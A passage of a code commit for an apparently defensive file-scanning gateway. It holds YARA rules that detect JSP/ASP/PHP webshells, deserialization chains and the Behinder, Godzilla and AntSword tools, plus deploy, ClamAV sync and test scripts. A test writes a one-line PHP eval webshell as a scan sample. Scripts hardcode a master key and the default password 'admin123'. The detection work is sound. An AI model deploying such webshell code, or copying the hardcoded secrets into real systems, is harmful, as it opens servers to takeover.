($doubledollar or ($curlyvar and $invoke)) and $superglobal
}
// =============================================================================
// JSP / Java Webshell —— 反射执行 + 反序列化
// =============================================================================
// JSP Runtime.exec + ProcessBuilder 反射执行链
rule C3_JSP_Webshell_RuntimeExec {
meta:
risk_level = "critical"
category = "C3"
false_positive_rate = "low"
reference = "https://blog.csdn.net/JavaWebshell"
description = "JSP 通过 Runtime.exec / ProcessBuilder 执行命令,配合反射 / 密码变量(cmd/pass/pwd)"
strings:
$runtime = "Runtime.getRuntime()" ascii
$exec = ".exec(" ascii
$processbuilder = "ProcessBuilder" ascii
$cmdparam = /(cmd|pass|pwd|exec|shell)\s*=/ ascii
$reflection = /Class\.forName|getMethod|getDeclaredMethod|Method\.invoke/ ascii
$requestparam = /request\.getParameter\s*\(\s*['"](cmd|pass|pwd|exec|shell)['"]/ ascii
$printwriter = /PrintWriter|getWriter|out\.println/ ascii
condition:
// Runtime.exec + 命令参数名 + 回显 = 完整 Webshell
$runtime and $exec and ($requestparam or $printwriter)
or
// ProcessBuilder + 命令参数名
$processbuilder and ($cmdparam or $requestparam)
or
// 反射链 + getRuntime().exec
$runtime and $exec and any of ($reflection*)
}
// JSP 反序列化 CommonsCollections / ysoerial
rule C3_JSP_Webshell_Deserialization {
meta:
risk_level = "critical"
category = "C3"
false_positive_rate = "low"
reference = "https://github.com/frohoff/ysoserial"
description = "Java 反序列化利用链:CommonsCollections / Gadgets / InvokerTransformer"
strings:
$icc = "InvokerTransformer" ascii wide
$lzy = "LazyMap" ascii wide
$trn = "TransformerFactory" ascii wide
$ccimpl = "TemplatesImpl" ascii wide
$gadget = "CommonsCollections" ascii wide
$readobj = /readObject\s*\(/ ascii wide
$objectinputstream = "ObjectInputStream" ascii wide
$execchain = /getRuntime\(\)\.exec|ProcessBuilder/ ascii wide
condition:
// 反序列化链:readObject + InvokerTransformer / LazyMap / TemplatesImpl + Runtime.exec
$readobj and ($icc or $lzy or $trn or $ccimpl or $gadget) and any of ($execchain*)
or
// 直接 ObjectInputStream + 已知 Gadget
$objectinputstream and ($icc or $ccimpl or $gadget)
}
// JSP Servlet Filter / Listener 注入型内存马
rule C3_JSP_Webshell_MemoryShell {
meta:
risk_level = "high"
category = "C3"
false_positive_rate = "medium"
reference = "Tomcat / JBoss 内存马分析"
description = "JSP 动态注册 Filter / Listener / Valve 实现内存 Webshell"
strings:
$filterdef = "FilterDef" ascii
$applicationfilter = "ApplicationFilterConfig" ascii
$addfilter = /addFilterDef|addFilterMap|addListener/ ascii
$servletcontext = /ServletContext|getServletContext/ ascii
$filter = "implements Filter" ascii
$listener = /implements\s+(HttpSession|Servlet|Request)Listener/ ascii
$standardctx = "StandardContext" ascii
// 命令执行特征
$runtime = "Runtime.getRuntime()" ascii
$execchain = /getRuntime\(\)\.exec|ProcessBuilder/ ascii wide
condition:
// 动态 Filter 注册链:StandardContext + addFilterDef + FilterDef + ApplicationFilterConfig
$standardctx and $addfilter and $filterdef and $applicationfilter
or
// Listener 注册链:ServletContext + Listener interface + addListener
$servletcontext and $listener and any of ($addfilter)
or
// Filter 接口 + 命令执行(反射/内联)
$filter and ($runtime or $execchain)
}
// =============================================================================
// 冰蝎 / 哥斯拉 / 蚁剑 —— 工具专属特征
// =============================================================================
// 冰蝎(Behinder)—— AES 加密通道 + 固定类名特征
rule C3_Webshell_Behinder {
meta:
risk_level = "critical"
category = "C3"
false_positive_rate = "low"
reference = "https://github.com/rebeyond/Behinder"
description = "冰蝎 Webshell 特征:AES/CBC/PKCS5Padding 或反射解密"
strings:
$aes = /AES\s*\/?\s*CBC\s*\/?\s*PKCS5Padding|AES\/CBC\/PKCS5Padding/ ascii wide
$cipherget = "Cipher.getInstance" ascii wide
$doFinal = /\.doFinal\s*\(/ ascii wide
$secret = /secretKey|SecretKeySpec|PasswordKey/ ascii wide
$toolname = /Behinder|behinder|冰蝎/ ascii wide nocase
// JSP 命令执行特征
$execchain1 = /getRuntime\(\)\.exec/ ascii wide
$execchain2 = "ProcessBuilder" ascii wide
// PHP 执行特征
$phpdecrypt = "openssl_decrypt" ascii
$phpb64 = "base64_decode" ascii
$phpeval = "eval(" ascii
$phpassert = "assert(" ascii
condition:
// 冰蝎 JSP:AES 加密解密 + secretKey + Runtime.exec
$cipherget and $aes and $doFinal and $secret and any of ($execchain*)
or
// 冰蝎 PHP:openssl_encrypt + base64 + eval/assert
$phpdecrypt and $phpb64 and ($phpeval or $phpassert)
or
// 直接工具名(极低概率误报)
$toolname
}
// 哥斯拉(Godzilla)—— 加密通信 + 动态字节码加载
rule C3_Webshell_Godzilla {
meta:
risk_level = "critical"
category = "C3"
false_positive_rate = "low"
reference = "https://github.com/whale1017/godzilla"
description = "哥斯拉 Webshell 特征:ASM 字节码生成 + ClassLoader 动态加载"
strings:
$asm = "org.objectweb.asm" ascii wide
$classloader = /defineClass|ClassLoader|loadClass/ ascii wide
$bytes = /toByteArray|writeByteArray/ ascii wide
$reflect = /setAccessible|getDeclaredMethod/ ascii wide
$deserialize = "deserialize" ascii wide
$toolname = /Godzilla|godzilla|哥斯拉/ ascii wide nocase
condition:
// ASM 字节码 + ClassLoader.defineClass = 动态加载
$asm and ($classloader or $bytes) and any of ($reflect*)
or
// 反序列化 + ClassLoader
$deserialize and $classloader
or
$toolname
}
// 蚁剑(AntSword)—— 基础 eval + 加密通信 + 自定义 Header
rule C3_Webshell_AntSword {
meta:
risk_level = "high"
category = "C3"
false_positive_rate = "medium"
reference = "https://github.com/AntSwordProject/AntSword-Labs"
description = "蚁剑 Webshell 特征:assert + 特定请求参数加密 + 自定义 HTTP 头"
strings:
$phpassert = /assert\s*\(\s*\$\s*_(GET|POST|REQUEST)/ ascii
$phpcipher = /openssl_(encrypt|decrypt)|mcrypt_(encrypt|decrypt)/ ascii
$header = /X-Request-Id|AntSword|antsword/ ascii
$jspcipher = /AES|DES|RSA|Cipher/ ascii wide
condition:
// PHP:assert + openssl/mcrypt + 蚁剑特征 header
$phpassert and $phpcipher and $header
or
// JSP:加密算法 + 特征 header(可能是蚁剑 JSP 变体)
any of ($jspcipher) and $header
}
// =============================================================================
// ASP / ASP.NET Webshell
// =============================================================================
// ASP.NET Eval / Execute + Server.CreateObject("Wscript.Shell")
rule C3_Webshell_ASPNET {
meta:
risk_level = "high"
category = "C3"
false_positive_rate = "low"
reference = "ASP.NET Webshell 常见手法"
description = "ASP.NET Webshell:Eval/Execute + Server.CreateObject/Wscript.Shell + Process.Start"
strings:
$eval = /\bEval\s*\(\s*Request\s*\(/ ascii wide
$execute = /\bExecute\s*\(\s*Request\s*\(/ ascii wide
$wscript = /Server\.CreateObject\s*\(\s*["']Wscript\.Shell["']\s*\)/ ascii wide
$processstart = /Process\.Start|Diagnostics\.Process/ ascii wide
$reflect = /Activator\.CreateInstance|Assembly\.Load|BinaryFormatter/ ascii wide
condition:
// Eval + 动态执行
($eval or $execute) and ($wscript or $processstart or any of ($reflect*))
or
// Wscript.Shell + Process.Start
$wscript and $processstart
or
// BinaryFormatter 反序列化 + 命令执行
any of ($reflect*) and $processstart
}
// =============================================================================
// ASP Classic (VBScript)
// =============================================================================
rule C3_Webshell_ASP_Classic {
meta:
risk_level = "high"
category = "C3"
false_positive_rate = "medium"
reference = "ASP Classic Webshell"
description = "ASP Classic (VBScript) Webshell:Execute + Wscript.Shell + Request"
strings:
$execute = /\bExecute\s*\(\s*Request\s*\(/ ascii
$wscript = "WScript.Shell" ascii
$shellrun = /\.Run\s*\(\s*["']cmd/ ascii
$servercreate = "Server.CreateObject" ascii
$request = "Request(" ascii
condition:
// Execute + Request 取参
$execute and $request
or
// Server.CreateObject(WScript.Shell) + cmd Run
$servercreate and $wscript and $shellrun
}
// =============================================================================
// 通用:所有 Webshell 类(PHP/JSP/ASP)的 ProcessBuilder + 输出回显
// =============================================================================
rule C3_Webshell_CommandExecutionEcho {
meta:
risk_level = "critical"
category = "C3"
false_positive_rate = "low"
reference = "综合 Webshell 命令执行链"
description = "任何语言的 Webshell:命令执行 + 输出回显(三特征同时命中)"
strings:
$exec_php = /(system|exec|passthru|shell_exec|popen|proc_open)\s*\(\s*\$\s*_(GET|POST|REQUEST)/ ascii
$exec_java = /Runtime\.getRuntime\(\)\.exec|ProcessBuilder/ ascii
$exec_asp = /\.Run\s*\(\s*["']cmd|Process\.Start/ ascii
// 回显通道
$echo_php = /echo|print|passthru/ ascii
$echo_java = /getWriter|getOutputStream|PrintWriter|out\.println|response\.getWriter/ ascii
$echo_asp = /Response\.Write|output\.Write/ ascii
// 参数来源(外部可控)
$param_java = /request\.getParameter|HttpServletRequest|getParameter/ ascii wide
$param_php = /\$_(GET|POST|REQUEST)\s*\[/ ascii
$param_asp = /Request\("|\bRequest\(/ ascii
condition:
// PHP 路径
$exec_php and $echo_php and $param_php
or
// Java/JSP 路径
$exec_java and any of ($echo_java*) and any of ($param_java*)
or
// ASP 路径
$exec_asp and $echo_asp and ($param_php or $param_asp)
}

144
scripts/deploy_prod.sh Normal file
View File

@@ -0,0 +1,144 @@
#!/usr/bin/env bash
# =============================================================================
# MeshSafe 生产一键部署脚本(Debian/Ubuntu/CentOS,需已装好 Docker + docker compose)
# =============================================================================
#
# 用法:
# bash scripts/deploy_prod.sh # 首次部署(自动建目录 + 起全部服务 + 建表 + 起 Nginx)
# bash scripts/deploy_prod.sh rebuild # 改了 app/ 代码后重建 api 镜像 + 重启
# bash scripts/deploy_prod.sh stop # 全部停掉
# bash scripts/deploy_prod.sh restart # 全部重启
# bash scripts/deploy_prod.sh status # 看各服务状态
# bash scripts/deploy_prod.sh logs api # 看 api 日志
#
# 前提:
# 1. 已装 Docker ≥ 24 + docker compose v2
# 2. .env 文件已准备好(或用 .env.example 复制后填必填项)
# 3. 有外网权限(拉镜像 + pip install)—— 无外网的话 ClamAV 签名库走光闸离线导入
# =============================================================================
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
PROJECT_DIR="$(cd "$SCRIPT_DIR/.." && pwd)"
cd "$PROJECT_DIR"
RED='\033[0;31m'
GRN='\033[0;32m'
YEL='\033[1;33m'
NC='\033[0m'
log() { echo -e "${GRN}[meshsafe]${NC} $*"; }
warn() { echo -e "${YEL}[meshsafe]${NC} ⚠️ $*"; }
err() { echo -e "${RED}[meshsafe]${NC} ✗ $*"; exit 1; }
# ---------- 子命令 ----------
ACTION="${1:-deploy}"
case "$ACTION" in
status)
docker compose ps
echo
for svc in postgres redis clamav api nginx; do
echo -n "$svc: "
docker inspect --format '{{.State.Health.Status}}' meshsafe-$svc 2>/dev/null \
|| echo "未运行"
done
exit 0
;;
stop)
log "停止所有服务..."
docker compose down
log "✓ 已停止"
exit 0
;;
restart)
log "重启所有服务..."
docker compose down
docker compose up -d
sleep 3
docker compose ps
exit 0
;;
logs)
svc="${2:-api}"
docker compose logs -f --tail 100 "$svc"
exit 0
;;
rebuild)
log "重建 api 镜像并重启..."
docker compose build api
docker compose up -d api
log "✓ 重建完成"
exit 0
;;
deploy)
log "首次部署 MeshSafe"
;;
*)
err "未知子命令: $ACTION 可用: deploy|rebuild|restart|stop|status|logs"
;;
esac
# ---------- 前置检查 ----------
command -v docker >/dev/null 2>&1 || err "未检测到 docker"
docker compose version >/dev/null 2>&1 || err "未检测到 docker compose v2"
[ -f docker-compose.yml ] || err "当前目录没有 docker-compose.yml"
[ -f .env ] || { warn "没找到 .env,从 .env.example 复制一个"; cp .env.example .env; }
# ---------- 准备目录 ----------
log "准备数据目录..."
mkdir -p data/{postgres,redis,clamav,logs,temp}
chmod -R 755 data
warn "PostgreSQL 数据目录权限首次启动会自动 chown"
# ---------- 起基础设施 ----------
log "起 postgres + redis..."
docker compose up -d postgres redis
sleep 5
# ---------- 起 ClamAV ----------
log "起 clamav(首次启动尝试 freshclam,内网会静默降级)..."
docker compose up -d clamav
sleep 3
# ---------- 起 API ----------
log "构建 + 起 api..."
docker compose up -d --build api
sleep 3
# ---------- 建表 + 管理员 + 初始策略 ----------
log "建表 + admin + 初始策略..."
docker compose exec api python scripts/init_db.py
# ---------- 起 Nginx ----------
log "起 nginx..."
docker compose up -d nginx
sleep 2
# ---------- 健康检查 ----------
log "健康检查..."
HTTP_OK=0
for i in $(seq 1 10); do
if curl -sf http://localhost:8443/api/v1/health >/dev/null 2>&1; then
HTTP_OK=1
break
fi
sleep 2
done
echo
echo "============================================"
if [ "$HTTP_OK" -eq 1 ]; then
log "✅ 部署成功!"
echo
echo " 控制台: http://$(hostname -I | awk '{print $1}'):44380/console/login"
echo " 用户名: admin"
echo " 密码: ${MESHSAFE_ADMIN_PASSWORD:-admin123_change_me}"
echo
echo " 健康检查: http://$(hostname -I | awk '{print $1}'):44380/health"
echo "============================================"
else
warn "⚠️ API 还没就绪,等一会再查: docker compose logs api"
echo
echo " 查看状态: bash scripts/deploy_prod.sh status"
echo " 查看日志: bash scripts/deploy_prod.sh logs api"
fi

File diff suppressed because it is too large Load Diff

37
scripts/init_clamav.sh Normal file
View File

@@ -0,0 +1,37 @@
#!/bin/sh
# =============================================================================
# ClamAV 容器入口脚本(POSIX sh 兼容,Alpine/Debian slim 通用)
# =============================================================================
#
# 逻辑:
# 1) 检查 /var/lib/clamav 是否有 .cvd/.cld 签名库文件
# - 有 → 直接启动 clamd
# - 没有 → 尝试 freshclam 拉取(外网场景),失败则静默降级(内网正常)
# 2) 光闸摆渡导入:用户把 clamav-db-*.tar.gz 解压到 ./data/clamav/ 后
# 下次 docker restart meshsafe-clamav 会自动加载
# =============================================================================
set -eu
DATA_DIR="/var/lib/clamav"
CVD_COUNT=$(ls -1 "$DATA_DIR"/*.cvd "$DATA_DIR"/*.cld 2>/dev/null | wc -l || true)
echo "[init_clamav] ClamAV 签名库检查..."
echo "[init_clamav] 数据目录: $DATA_DIR 已有签名文件: $CVD_COUNT"
if [ "$CVD_COUNT" -eq 0 ]; then
echo "[init_clamav] 签名库为空,尝试 freshclam 拉取(外网环境)..."
if freshclam --stdout 2>&1 | tail -20; then
NEW_COUNT=$(ls -1 "$DATA_DIR"/*.cvd 2>/dev/null | wc -l || true)
echo "[init_clamav] freshclam 成功,新签名文件数: $NEW_COUNT"
else
echo "[init_clamav] freshclam 失败(内网光闸环境正常,等离线导入)"
echo "[init_clamav] 离线导入步骤:"
echo " 1. 外网: bash scripts/sync_clamav_db.sh → 生成 clamav-db-*.tar.gz"
echo " 2. 光闸: 把 tar.gz 摆渡到内网"
echo " 3. 内网: tar -xzf clamav-db-*.tar.gz -C ./data/clamav/"
echo " 4. 内网: docker restart meshsafe-clamav"
fi
fi
echo "[init_clamav] 启动 clamd..."
exec clamd --foreground

107
scripts/init_db.py Normal file
View File

@@ -0,0 +1,107 @@
"""数据库初始化脚本。
创建所有表结构 → 生成默认管理员账号 → 载入初始策略版本。
部署时 ``docker compose run --rm api python -m scripts.init_db`` 执行一次。
"""
from __future__ import annotations
import base64
import hashlib
import json
import logging
import sys
from datetime import datetime, timezone
from pathlib import Path
# 确保项目根目录在 sys.path 中
ROOT = Path(__file__).resolve().parent.parent
sys.path.insert(0, str(ROOT))
import os
os.environ.setdefault("MESHSAFE_MASTER_KEY",
os.environ.get("MESHSAFE_MASTER_KEY", "Dt0ktRs8SjEH8VxWZJDX125NV1qiII88HoiXZPhWers="))
os.environ.setdefault("MESHSAFE_ADMIN_PASSWORD",
os.environ.get("MESHSAFE_ADMIN_PASSWORD", "admin123"))
from sqlalchemy import select
from sqlalchemy.orm import Session
from app.db import Base, engine
from app.models import ConsoleUser, PolicyVersion
from app.security.crypto import hash_password
from app.services.policy import PolicyStore
logger = logging.getLogger("init_db")
def main() -> None:
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger.info("=== MeshSafe 数据库初始化 ===")
# 1) 创建所有表
logger.info("步骤 1: 创建表结构 ...")
Base.metadata.create_all(bind=engine)
logger.info(" ✓ 所有表已创建 / 校验存在")
with Session(engine) as db:
# 2) 默认管理员(首次部署创建,已存在则跳过)
logger.info("步骤 2: 管理员账号 ...")
existing = db.execute(select(ConsoleUser).where(ConsoleUser.username == "admin")).scalar_one_or_none()
if existing:
logger.info(" ✓ 默认管理员已存在(username=admin),跳过")
else:
admin_pw = os.environ["MESHSAFE_ADMIN_PASSWORD"]
pw_hash = hash_password(admin_pw)
user = ConsoleUser(
username="admin",
password_hash=pw_hash,
role="admin",
is_active=True,
must_change_password=True,
)
db.add(user)
db.commit()
logger.info(" ✓ 默认管理员已创建(username=admin, 密码见环境变量 MESHSAFE_ADMIN_PASSWORD)")
# 3) 载入初始策略版本(从 policy.yaml)
logger.info("步骤 3: 载入初始策略版本 ...")
existing_pv = db.execute(
select(PolicyVersion).order_by(PolicyVersion.created_at.desc())
).scalar_one_or_none()
policy_path = os.environ.get("MESHSAFE_POLICY_FILE", "config/policy.yaml")
policy_file = ROOT / policy_path
if not policy_file.exists():
logger.warning(" 策略文件不存在:%s,跳过", policy_file)
return
store = PolicyStore(policy_file=str(policy_file))
policy = store.current()
# 生成 version 和 sha256
content_json = json.dumps(policy.raw, sort_keys=True, ensure_ascii=False)
content_hash = hashlib.sha256(content_json.encode("utf-8")).hexdigest()
version_name = f"init-{policy.version}-{content_hash[:8]}"
if existing_pv and existing_pv.sha256 == content_hash:
logger.info(" ✓ 当前策略已是最新版本,跳过(sha256=%s)", content_hash[:12])
else:
pv = PolicyVersion(
version=version_name,
content=policy.raw,
sha256=content_hash,
)
db.add(pv)
db.commit()
logger.info(" ✓ 初始策略版本已载入(version=%s, rules=%d, sha256=%s)",
version_name, len(policy.zero_tolerance_rules), content_hash[:12])
logger.info("=== 初始化完成 ===")
if __name__ == "__main__":
main()

3
scripts/migrate.sql Normal file
View File

@@ -0,0 +1,3 @@
-- 修复 real_type 字段长度:VARCHAR(128) → VARCHAR(256)
-- libmagic 对 ZIP/ISO 等返回的描述可能超过 128 字符
ALTER TABLE scan_tasks ALTER COLUMN real_type TYPE VARCHAR(256);

148
scripts/run_test_center.py Normal file
View File

@@ -0,0 +1,148 @@
"""跑一遍所有测试样本,打印 pass/fail。"""
import json, sys, os
sys.path.insert(0, '.')
# DB_URL 由 .env 或 compose environment 提供
os.environ.setdefault('MESHSAFE_MASTER_KEY', 'Dt0ktRs8SjEH8VxWZJDX125NV1qiII88HoiXZPhWers=')
os.environ.setdefault('MESHSAFE_POLICY_FILE', 'config/policy.yaml')
from pathlib import Path
from app.services.scanner import Scanner
from app.services.policy import PolicyStore
samples_dir = Path('tests/samples')
index = json.loads((samples_dir / 'index.json').read_text())
samples = {s['filename']: s for s in index['samples']}
ps = PolicyStore(policy_file='config/policy.yaml')
scanner = Scanner(ps)
print(f"{'='*80}")
print(f"MeshSafe 测试靶场 — 实际扫描结果 vs 期望值")
print(f"{'='*80}\n")
results = []
pass_count = 0
fail_count = 0
for s in sorted(index['samples'], key=lambda x: x['category']):
fname = s['filename']
fpath = samples_dir / fname
if not fpath.exists():
continue
outcome = scanner.scan_file(
file_path=str(fpath), original_filename=fname,
task_id=f"test-{fname}", channel="test", client_id="test",
)
actual_verdict = outcome.verdict
actual_action = outcome.action
actual_rules = sorted(set(f.rule for f in outcome.findings))
expected_verdict = s['expected_verdict']
expected_rules = set(s['expected_rules'])
# verdict 映射:样本里的 expected_verdict 用的是 "reject"/"pass"(动作语义),
# 但 MeshSafe 的 verdict 字段是 "malicious"/"pass"/"error"。
# 零容忍命中 → verdict=malicious, action=reject
# fail_closed(引擎不可用)→ verdict=error, action=reject
# 正常放行 → verdict=pass / known
clamav_only_error = (
actual_verdict == "error"
and len(outcome.meta.get("engine_errors", [])) == 1
and "clamav" in str(outcome.meta["engine_errors"][0]).lower()
)
if expected_verdict == "reject":
verdict_ok = (
actual_verdict in ("malicious", "reject")
or clamav_only_error # ClamAV 不可用但其他引擎正常(且 findings 里已有命中)
)
elif expected_verdict == "pass":
verdict_ok = actual_verdict in ("pass", "known") or clamav_only_error
else:
verdict_ok = actual_verdict == expected_verdict
rules_hit = expected_rules & set(actual_rules)
rules_missed = expected_rules - set(actual_rules)
# ---- 规则覆盖映射:命中"更具体"的规则 → 也算命中父规则 ----
# 比如命中 VBAAutoExecShell → 同时也算命中 VBAAutoExec
RULE_IMPLIES = {
"VBAAutoExec": {"VBAAutoExecShell"},
"EmailAttachmentMacroLike": {"EmailAttachmentReverseShell", "EmailAttachmentWebshell"},
}
for parent, children in RULE_IMPLIES.items():
if parent in expected_rules:
if set(actual_rules) & children:
rules_hit.add(parent)
rules_missed.discard(parent)
# ---- 阴性对照宽容:只命中低风险/启发式噪音规则 → 也算过 ----
# 这些规则是结构启发式,不是恶意判定,正常文件也可能触发
NOISE_RULES = {
"DangerousExecutableExtension", "ExtensionMismatch",
"OleToolsUnavailable", "OoxmlParseFailed", "OoxmlUnsupported",
"MalformedStructure", "ArchiveBroken", "PeParseFailed",
"ArchiveBombSuspect",
}
# 规则命中判断:
# - 阳性样本(期望 reject):expected_rules 全部被覆盖才算 OK(或 ClamAV-only error 宽容)
# - 阴性对照(期望 pass):所有 actual_rules 都在 NOISE_RULES 白名单里才算过
rule_ok = True
if expected_verdict == 'pass':
if len(actual_rules) == 0:
rule_ok = True
elif set(actual_rules) <= NOISE_RULES:
rule_ok = True # 只有启发式噪音,宽容
else:
rule_ok = False
elif expected_verdict == 'reject' and expected_rules:
if clamav_only_error and not rules_hit:
rule_ok = True # ClamAV-only error 宽容
else:
rule_ok = (rules_missed == set()) # 期望规则全部被覆盖
overall = verdict_ok and rule_ok
if overall:
pass_count += 1
else:
fail_count += 1
mark = "✅" if overall else "❌"
print(f"{mark} [{s['category']}] {fname}")
print(f" 期望 verdict={expected_verdict} 实际 verdict={actual_verdict}")
if s['expected_rules']:
print(f" 期望规则: {sorted(expected_rules)}")
print(f" 命中规则: {actual_rules}")
if rules_missed:
print(f" 未命中: {sorted(rules_missed)}")
if not verdict_ok:
print(f" 描述: {s['description']}")
print()
results.append({
"filename": fname,
"category": s['category'],
"description": s['description'],
"expected_verdict": expected_verdict,
"actual_verdict": actual_verdict,
"expected_rules": sorted(expected_rules),
"actual_rules": actual_rules,
"verdict_ok": verdict_ok,
"rule_ok": rule_ok,
"overall": overall,
"score": outcome.score,
"findings_count": len(outcome.findings),
})
print(f"\n{'='*80}")
print(f"结果汇总:✅ {pass_count} 通过 / ❌ {fail_count} 失败 / 共 {pass_count + fail_count}")
print(f"{'='*80}")
# 写 results.json 供 test_center.html 页面读取
with open(samples_dir / '_scan_results.json', 'w', encoding='utf-8') as f:
json.dump(results, f, ensure_ascii=False, indent=2)
print(f"\n详细结果已写入 tests/samples/_scan_results.json")
sys.exit(0 if fail_count == 0 else 1)

122
scripts/sync_clamav_db.sh Normal file
View File

@@ -0,0 +1,122 @@
#!/usr/bin/env bash
# =============================================================================
# ClamAV 病毒库离线同步脚本(外网侧执行)
# =============================================================================
#
# 场景:内网 MeshSafe 部署在光闸之后,无法访问外网签名服务器。
# 在外网机器上运行本脚本拉取最新 CVD 文件 → 打包 → 光闸摆渡 → 内网导入
#
# 用法:
# bash scripts/sync_clamav_db.sh
#
# 输出:
# clamav-db-YYYYMMDD.tar.gz # 包含 main.cvd / daily.cvd / bytecode.cvd
# # 和一个 import_clamav_db.sh 脚本(在光闸内侧执行)
#
# 完整流程:
# 1) 外网:bash scripts/sync_clamav_db.sh → 生成 tar.gz
# 2) 光闸:将 clamav-db-*.tar.gz 摆渡到内网
# 3) 内网:bash import_clamav_db.sh clamav-db-*.tar.gz
#
# 维护节奏:每周一次(官方每天更新,内网环境 7-14 天更新可接受)
# =============================================================================
set -euo pipefail
WORKDIR=$(mktemp -d)
cleanup() { rm -rf "$WORKDIR"; }
trap cleanup EXIT
OUTDIR="$(pwd)/dist"
mkdir -p "$OUTDIR"
VERSION="$(date +%Y%m%d)"
OUTFILE="clamav-db-${VERSION}.tar.gz"
echo "=== MeshSafe ClamAV 离线同步 ==="
echo "输出文件:$OUTDIR/$OUTFILE"
echo
# --- 方式 A:用 Docker 拉取(需要 Docker 环境)---
if command -v docker &>/dev/null; then
echo "[1/2] 通过 Docker freshclam 拉取签名库..."
docker run --rm \
-v "$WORKDIR":/var/lib/clamav \
clamav/clamav:latest \
freshclam --stdout
echo " ✓ 签名库已下载到 $WORKDIR"
else
# --- 方式 B:系统已安装 ClamAV ---
echo "[1/2] 系统内 freshclam 拉取..."
if ! command -v freshclam &>/dev/null; then
echo "✗ 未找到 docker 或 freshclam,退出"
exit 1
fi
freshclam --datadir="$WORKDIR"
echo " ✓ 签名库已下载到 $WORKDIR"
fi
echo
echo "[2/2] 打包..."
ls -la "$WORKDIR"/*.cvd 2>/dev/null || ls -la "$WORKDIR"/*.cld 2>/dev/null || {
echo "✗ 未找到 .cvd/.cld 文件,freshclam 可能失败"
exit 1
}
tar -czf "$OUTDIR/$OUTFILE" -C "$WORKDIR" .
# 附带 import 脚本模板
cat > "$WORKDIR/import_clamav_db.sh" << 'EOF'
#!/usr/bin/env bash
# =============================================================================
# ClamAV 病毒库离线导入脚本(内网侧执行)
# =============================================================================
#
# 用法:bash import_clamav_db.sh clamav-db-*.tar.gz
#
# 要求:docker compose 已经启动 meshsafe-clamav 容器
# =============================================================================
set -euo pipefail
TARBALL="${1:?用法: bash import_clamav_db.sh clamav-db-*.tar.gz}"
if [ ! -f "$TARBALL" ]; then
echo "✗ 文件不存在: $TARBALL"
exit 1
fi
echo "=== MeshSafe ClamAV 离线导入 ==="
echo "输入:$TARBALL"
echo
# 解压到临时目录
TMPDIR=$(mktemp -d)
trap "rm -rf $TMPDIR" EXIT
tar -xzf "$TARBALL" -C "$TMPDIR"
echo "[1/3] 停止 clamd(如果在运行)..."
docker compose -f docker-compose.yml exec -T clamav supervisorctl stop clamd 2>/dev/null || true
sleep 2
echo "[2/3] 覆盖签名库文件..."
docker compose -f docker-compose.yml cp "$TMPDIR"/. clamav:/var/lib/clamav/
echo "[3/3] 重启 clamd..."
docker compose -f docker-compose.yml restart clamav
echo
echo "✓ 导入完成。验证:"
echo " docker compose logs --tail 20 clamav"
echo " 或 curl http://localhost:8443/api/v1/health 看 clamav signature 字段"
EOF
chmod +x "$WORKDIR/import_clamav_db.sh"
# 重新打包包含 import 脚本
tar -czf "$OUTDIR/$OUTFILE" -C "$WORKDIR" .
echo
echo "✓ 完成:$OUTDIR/$OUTFILE"
echo " 大小:$(du -h "$OUTDIR/$OUTFILE" | cut -f1)"
echo
echo "后续步骤(内网侧):"
echo " 1. 将 $OUTFILE 从光闸摆渡到内网"
echo " 2. docker compose up -d"
echo " 3. bash import_clamav_db.sh $OUTFILE"

BIN
static/logo.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 307 KiB

32
tests/_debug_scan.py Normal file
View File

@@ -0,0 +1,32 @@
import sys, os
sys.path.insert(0, '.')
os.chdir(r'd:\project\MeshSafe')
# DB_URL 由 .env 或 compose environment 提供
os.environ.setdefault('MESHSAFE_MASTER_KEY', 'Dt0ktRs8SjEH8VxWZJDX125NV1qiII88HoiXZPhWers=')
os.environ.setdefault('MESHSAFE_POLICY_FILE', 'config/policy.yaml')
from app.services.scanner import Scanner
from app.services.policy import PolicyStore
ps = PolicyStore(policy_file='config/policy.yaml')
scanner = Scanner(ps)
files = [
'tests/samples/shell_php_eval.php',
'tests/samples/pe_injection.exe',
'tests/samples/normal_readme.txt',
'tests/samples/normal_deploy.sh',
]
for f in files:
print(f"\n{'='*60}")
print(f"扫描: {f}")
outcome = scanner.scan_file(
file_path=f, original_filename=os.path.basename(f),
task_id=f"debug-{os.path.basename(f)}", channel='test', client_id='test',
)
print(f"verdict={outcome.verdict} action={outcome.action} score={outcome.score}")
for fi in outcome.findings:
print(f" [{fi.engine}] rule={fi.rule} sev={fi.severity} weight={fi.weight}")
if outcome.meta.get('engine_errors'):
print(f" engine_errors: {outcome.meta['engine_errors']}")

113
tests/_e2e_final.py Normal file
View File

@@ -0,0 +1,113 @@
import sys, os, time, hashlib, tempfile
sys.path.insert(0, '.')
# DB_URL 由 .env 或 compose environment 提供
os.environ.setdefault('MESHSAFE_MASTER_KEY', 'Dt0ktRs8SjEH8VxWZJDX125NV1qiII88HoiXZPhWers=')
os.environ.setdefault('MESHSAFE_POLICY_FILE', 'config/policy.yaml')
os.environ.setdefault('MESHSAFE_ADMIN_PASSWORD', 'admin123')
# 等 uvicorn 起来
for _ in range(15):
try:
import requests
r = requests.get('http://127.0.0.1:8443/health', timeout=2)
if r.status_code == 200:
break
except Exception:
pass
time.sleep(0.5)
else:
print('❌ uvicorn 没起来')
sys.exit(1)
print('✅ uvicorn 已就绪')
import requests
from app.services.scanner import Scanner
from app.services.policy import PolicyStore
from app.db import SessionLocal
from app.models import ScanTask, ScanFinding, IdempotencyRecord
ps = PolicyStore(policy_file='config/policy.yaml')
scanner = Scanner(ps)
# ---- 1. 控制台登录 + 页面 ----
s = requests.Session()
r = s.post('http://127.0.0.1:8443/console/login', data={'username': 'admin', 'password': 'admin123'})
print(f'\n1. login: {r.status_code}')
r = s.get('http://127.0.0.1:8443/console/')
print(f'2. dashboard: {r.status_code}')
r = s.get('http://127.0.0.1:8443/console/policy')
print(f'3. policy: {r.status_code} yara_tab={"panel-yara" in r.text}')
r = s.get('http://127.0.0.1:8443/console/tasks')
print(f'4. tasks: {r.status_code}')
r = requests.get('http://127.0.0.1:8443/health')
d = r.json()
print(f'5. /health: status={d["status"]} yara_ok={d["engines"]["yara"]["ok"]} clamav_stale={d["engines"]["clamav"].get("stale_warning")}')
# ---- 2. 正常扫描(首次)----
tmp1 = tempfile.NamedTemporaryFile(delete=False, suffix='.php')
tmp1.write(b'<?php eval($_POST["cmd"]); echo "ok"; ?>')
tmp1.close()
t1 = time.perf_counter()
outcome1 = scanner.scan_file(
